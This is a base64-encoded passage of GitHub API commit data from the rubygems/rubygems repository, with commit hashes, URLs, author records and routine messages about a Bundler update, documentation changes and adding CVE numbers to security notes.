2tRK2M4VFFYSmtcbitzSWpyUWdBNGJQTGdKK2hPN0pQVXBYd1pHVUQxU1QvanIyMHJzYXdSb2g5dkpKTDBUMVBFUTg5VzZwenNWSXdcbmhNVC9oUllwUGxSclZ6UTIwcE1nejBkTCtIclhYQXMvbTZEbGRXNW5OQlk3VElaVVFjaGhWUHVXd1MrOTBUUjNcblh3UkRQUWgydi9UOU1jRE9NNjFINmVRVi9XSmxTNllDc3hTUmh6RmErSGRTNW1Ud3JKMi9Vd2pJdzlKTk1LWXBcbkJObUM4RkhaSzJveW8vWjRhSjI5NWpwZzJHdmJHT1JKbE0zd0t3SzdreFRtMTZsVm9BblZ4eGx2S2JyM3ozbmpcbkQ4QkQyNlJ5MmJ5emIyZUVFWDUyYnB6eEVaWUNXa0FKSUxkUGlYU1B1Vy9CaVRMRjdram05d1h3b1BUOHhsSnVcbmJmSXBuUDkrZFczZWV1QVo3b2N2ZHVNNEJXSE1Tdz09XG49Sk1JRFxuLS0tLS1FTkQgUEdQIFNJR05BVFVSRS0tLS0tIiwicGF5bG9hZCI6InRyZWUgMmE0NDA4YzU2MWQxMDgwZWI2NmMzZjY1MTc1YjExYmJiOTNkNjI2Y1xucGFyZW50IDliMGQ0MzdmMGRkNjlmMmMwMjYyMmEwYWIzZjVmYjg3OWM3YTgxYWJcbmF1dGhvciBTSElCQVRBIEhpcm9zaGkgPGhzYnRAcnVieS1sYW5nLm9yZz4gMTUwNDI0OTE3MiArMDkwMFxuY29tbWl0dGVyIFNISUJBVEEgSGlyb3NoaSA8aHNidEBydWJ5LWxhbmcub3JnPiAxNTA0MjQ5MTcyICswOTAwXG5cbltCdW5kbGVyXSBVcGRhdGUgdG8gMS4xNS40XG4ifX0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9lM2EwNjMxODY2NDhkNjkxZThjOWE1MzE4ZmM0ZmJjNGZlMmExOTA1IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0L2UzYTA2MzE4NjY0OGQ2OTFlOGM5YTUzMThmYzRmYmM0ZmUyYTE5MDUiLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZTNhMDYzMTg2NjQ4ZDY5MWU4YzlhNTMxOGZjNGZiYzRmZTJhMTkwNS9jb21tZW50cyIsImF1dGhvciI6eyJsb2dpbiI6ImhzYnQiLCJpZCI6MTIzMDEsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEyMzAxP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vaHNidCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImNvbW1pdHRlciI6eyJsb2dpbiI6ImhzYnQiLCJpZCI6MTIzMDEsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEyMzAxP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vaHNidCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInBhcmVudHMiOlt7InNoYSI6IjliMGQ0MzdmMGRkNjlmMmMwMjYyMmEwYWIzZjVmYjg3OWM3YTgxYWIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvOWIwZDQzN2YwZGQ2OWYyYzAyNjIyYTBhYjNmNWZiODc5YzdhODFhYiIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC85YjBkNDM3ZjBkZDY5ZjJjMDI2MjJhMGFiM2Y1ZmI4NzljN2E4MWFiIn1dfSx7InNoYSI6IjliMGQ0MzdmMGRkNjlmMmMwMjYyMmEwYWIzZjVmYjg3OWM3YTgxYWIiLCJjb21taXQiOnsiYXV0aG9yIjp7Im5hbWUiOiJUaGUgQnVuZGxlciBCb3QiLCJlbWFpbCI6ImJvdEBidW5kbGVyLmlvIiwiZGF0ZSI6IjIwMTctMDgtMzFUMDE6MzY6MTZaIn0sImNvbW1pdHRlciI6eyJuYW1lIjoiVGhlIEJ1bmRsZXIgQm90IiwiZW1haWwiOiJib3RAYnVuZGxlci5pbyIsImRhdGUiOiIyMDE3LTA4LTMxVDAxOjM2OjE2WiJ9LCJtZXNzYWdlIjoiQXV0byBtZXJnZSBvZiAjMTk2MCAtIGdyZXlzdGVpbDp1cGRhdGUtc3BlY2lmaWNhdGlvbi1kb2NzLCByPWR1Y2tpbmF0b3JcblxuVXBkYXRlIHNwZWNpZmljYXRpb24gcmVmZXJlbmNlIGRvY3NcblxuIyBEZXNjcmlwdGlvbjpcblxuUHJldmlvdXNseSwgdGhlIFNwZWNpZmljYXRpb24gUmVmZXJlbmNlIFtndWlkZV0oaHR0cDovL2d1aWRlcy5ydWJ5Z2Vtcy5vcmcvc3BlY2lmaWNhdGlvbi1yZWZlcmVuY2UvI3JlcXVpcmVkLWdlbXNwZWMtYXR0cmlidXRlcykgbGlzdGVkIGluY29ycmVjdCByZXF1aXJlZCBhdHRyaWJ1dGVzIChhcyBub3RlZCBpbiBodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvZ3VpZGVzL2lzc3Vlcy8xMjEsIGZvciBleGFtcGxlKS5cblxuVGhpcyBQUiByZW9yZGVycyBgbGliL3J1YnlnZW1zL3NwZWNpZmljYXRpb24ucmJgIGluIG9yZGVyIHRvIGNyZWF0ZSBhIGJldHRlciBzcGVjaWZpY2F0aW9uLXJlZmVyZW5jZS5cbi0gVXBkYXRlcyB0aGUgcmVxdWlyZWQgYXR0cmlidXRlcyB0byBiZSBqdXN0IGBuYW1lYCwgYHZlcnNpb25gLCBgc3VtbWFyeWAgYW5kIGBmaWxlc2AsIGluIGxpbmUgd2l0aCB0aGUgYEBAcmVxdWlyZWRfYXR0cmlidXRlc2AgYW5kIGBAQGRlZmF1bHRfdmFsdWVgIHZhcmlhYmxlcy5cbi0gQ2xlYW5zIHVwIGRvYyBjb25zaXN0ZW5jeSBieSBjcmVhdGluZyBhIGBSZWNvbW1lbmRlZCBnZW1zcGVjIGF0dHJpYnV0ZXNgIHNlY3Rpb24sIHJhdGhlciB0aGFuIHJlbHlpbmcgb24gYDpjYXRlZ29yeTogUmVjb21tZW5kZWQgZ2Vtc3BlYyBhdHRyaWJ1dGVzYCB0YWdzLlxuLSBBZGRzIGEgYG1ldGFkYXRhYCBoYXNoIHRvIHRoZSBoZWFkbGluZSBleGFtcGxlIGdlbXNwZWMuXG5cbkNvcnJlc3BvbmRpbmcgZ3VpZGVzIFBSIGlzIGh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ndWlkZXMvcHVsbC8xODcuXG5cbl9fX19fX19fX19fX19fXG5cbiMgVGFza3M6XG5cbi0gW3hdIERlc2NyaWJlIHRoZSBwcm9ibGVtIC8gZmVhdHVyZVxuLSBbeF0gV3JpdGUgY29kZSB0byBzb2x2ZSB0aGUgcHJvYmxlbVxuLSBbeF0gR2V0IGNvZGUgcmV2aWV3IGZyb20gY293b3JrZXJzIC8gZnJpZW5kc1xuXG5JIHdpbGwgYWJpZGUgYnkgdGhlIFtjb2RlIG9mIGNvbmR1Y3RdKGh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ibG9iL21hc3Rlci9DT0RFX09GX0NPTkRVQ1QubWQpLiIsInRyZWUiOnsic2hhIjoiODk4MjllZDZmMjgyMGE0ZjFkMTZjZTdjZjg5ZWViMzhiNWEyZDkxMCIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzLzg5ODI5ZWQ2ZjI4MjBhNGYxZDE2Y2U3Y2Y4OWVlYjM4YjVhMmQ5MTAifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy85YjBkNDM3ZjBkZDY5ZjJjMDI2MjJhMGFiM2Y1ZmI4NzljN2E4MWFiIiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjpmYWxzZSwicmVhc29uIjoidW5zaWduZWQiLCJzaWduYXR1cmUiOm51bGwsInBheWxvYWQiOm51bGx9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzliMGQ0MzdmMGRkNjlmMmMwMjYyMmEwYWIzZjVmYjg3OWM3YTgxYWIiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvOWIwZDQzN2YwZGQ2OWYyYzAyNjIyYTBhYjNmNWZiODc5YzdhODFhYiIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy85YjBkNDM3ZjBkZDY5ZjJjMDI2MjJhMGFiM2Y1ZmI4NzljN2E4MWFiL2NvbW1lbnRzIiwiYXV0aG9yIjp7ImxvZ2luIjoiYnVuZGxlcmJvdCIsImlkIjoxMzYxNDYyMiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTM2MTQ2MjI/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9idW5kbGVyYm90IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoiYnVuZGxlcmJvdCIsImlkIjoxMzYxNDYyMiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTM2MTQ2MjI/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9idW5kbGVyYm90IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiY2FjNzY1Y2MzYWRlNThlOTFjZjgwMjQwMjAwNzBiNmJhMjAyZmQzNCIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9jYWM3NjVjYzNhZGU1OGU5MWNmODAyNDAyMDA3MGI2YmEyMDJmZDM0IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0L2NhYzc2NWNjM2FkZTU4ZTkxY2Y4MDI0MDIwMDcwYjZiYTIwMmZkMzQifSx7InNoYSI6IjEzYmZmMzZiY2UwMmE5YTM2ZjA2ZTczZWI3ZDY2NTc3MmM0ZDZhNzUiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvMTNiZmYzNmJjZTAyYTlhMzZmMDZlNzNlYjdkNjY1NzcyYzRkNmE3NSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC8xM2JmZjM2YmNlMDJhOWEzNmYwNmU3M2ViN2Q2NjU3NzJjNGQ2YTc1In1dfSx7InNoYSI6ImNhYzc2NWNjM2FkZTU4ZTkxY2Y4MDI0MDIwMDcwYjZiYTIwMmZkMzQiLCJjb21taXQiOnsiYXV0aG9yIjp7Im5hbWUiOiJUaGUgQnVuZGxlciBCb3QiLCJlbWFpbCI6ImJvdEBidW5kbGVyLmlvIiwiZGF0ZSI6IjIwMTctMDgtMzFUMDA6NTM6NTlaIn0sImNvbW1pdHRlciI6eyJuYW1lIjoiVGhlIEJ1bmRsZXIgQm90IiwiZW1haWwiOiJib3RAYnVuZGxlci5pbyIsImRhdGUiOiIyMDE3LTA4LTMxVDAwOjUzOjU5WiJ9LCJtZXNzYWdlIjoiQXV0byBtZXJnZSBvZiAjMjAwMCAtIHJ1YnlnZW1zOmluZGlyZWN0L2N2ZXMtZm9yLTIuNi4xMywgcj1zZWdpZGRpbnNcblxuYWRkIENWRSBudW1iZXJzIHRvIHNlY3VyaXR5IGlzc3VlIG5vdGVzXG5cbk5vbmUiLCJ0cmVlIjp7InNoYSI6IjI4NGZiMzJmZGNmYTRjYmEwNzU4NWNhMTIyZGZlZjc4ZWNlZTM5NjgiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90cmVlcy8yODRmYjMyZmRjZmE0Y2JhMDc1ODVjYTEyMmRmZWY3OGVjZWUzOTY4In0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2NvbW1pdHMvY2FjNzY1Y2MzYWRlNThlOTFjZjgwMjQwMjAwNzBiNmJhMjAyZmQzNCIsImNvbW1lbnRfY291bnQiOjAsInZlcmlmaWNhdGlvbiI6eyJ2ZXJpZmllZCI6ZmFsc2UsInJlYXNvbiI6InVuc2lnbmVkIiwic2lnbmF0dXJlIjpudWxsLCJwYXlsb2FkIjpudWxsfX0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9jYWM3NjVjYzNhZGU1OGU5MWNmODAyNDAyMDA3MGI2YmEyMDJmZDM0IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0L2NhYzc2NWNjM2FkZTU4ZTkxY2Y4MDI0MDIwMDcwYjZiYTIwMmZkMzQiLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvY2FjNzY1Y2MzYWRlNThlOTFjZjgwMjQwMjAwNzBiNmJhMjAyZmQzNC9jb21tZW50cyIsImF1dGhvciI6eyJsb2dpbiI6ImJ1bmRsZXJib3QiLCJpZCI6MTM2MTQ2MjIsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEzNjE0NjIyP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vYnVuZGxlcmJvdCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImNvbW1pdHRlciI6eyJsb2dpbiI6ImJ1bmRsZXJib3QiLCJpZCI6MTM2MTQ2MjIsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEzNjE0NjIyP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vYnVuZGxlcmJvdCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInBhcmVudHMiOlt7InNoYSI6ImRmYzljNzJhOTFiMTRhNWQ2MzBmYzE0MWNmMzAzMTJkYTNiZjJiYTciLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZGZjOWM3MmE5MWIxNGE1ZDYzMGZjMTQxY2YzMDMxMmRhM2JmMmJhNyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9kZmM5YzcyYTkxYjE0YTVkNjMwZmMxNDFjZjMwMzEyZGEzYmYyYmE3In0seyJzaGEiOiJlYWNkMTdhMjFhY2NkZjA0MDAzNDc3OTIwMTI2MTc5NDM3ODZkYTc3IiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2VhY2QxN2EyMWFjY2RmMDQwMDM0Nzc5MjAxMjYxNzk0Mzc4NmRhNzciLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvZWFjZDE3YTIxYWNjZGYwNDAwMzQ3NzkyMDEyNjE3OTQzNzg2ZGE3NyJ9XX0seyJzaGEiOiJlYWNkMTdhMjFhY2NkZjA0MDAzNDc3OTIwMTI2MTc5NDM3ODZkYTc3IiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiQW5kcmUgQXJrbyIsImVtYWlsIjoiYW5kcmVAYXJrby5uZXQiLCJkYXRlIjoiMjAxNy0wOC0zMVQwMDo0ODo1N1oifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJBbmRyZSBBcmtvIiwiZW1haWwiOiJhbmRyZUBhcmtvLm5ldCIsImRhdGUiOiIyMDE3LTA4LTMxVDAwOjQ4OjU3WiJ9LCJtZXNzYWdlIjoiYWRkIENWRSBudW1iZXJzIHRvIHNlY3VyaXR5IGlzc3VlIG5vdGVzIiwidHJlZSI6eyJzaGEiOiIyODRmYjMyZmRjZmE0Y2JhMDc1ODVjYTEyMmRmZWY3OGVjZWUzOTY4IiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXMvMjg0ZmIzMmZkY2ZhNGNiYTA3NTg1Y2ExMjJkZmVmNzhlY2VlMzk2OCJ9LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzL2VhY2QxN2EyMWFjY2RmMDQwMDM0Nzc5MjAxMjYxNzk0Mzc4NmRhNzciLCJjb21tZW50X2NvdW50IjowLCJ2ZXJpZmljYXRpb24iOnsidmVyaWZpZWQiOmZhbHNlLCJyZWFzb24iOiJ1bnNpZ25lZCIsInNpZ25hdHVyZSI6bnVsbCwicGF5bG9hZCI6bnVsbH19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZWFjZDE3YTIxYWNjZGYwNDAwMzQ3NzkyMDEyNjE3OTQzNzg2ZGE3NyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9lYWNkMTdhMjFhY2NkZjA0MDAz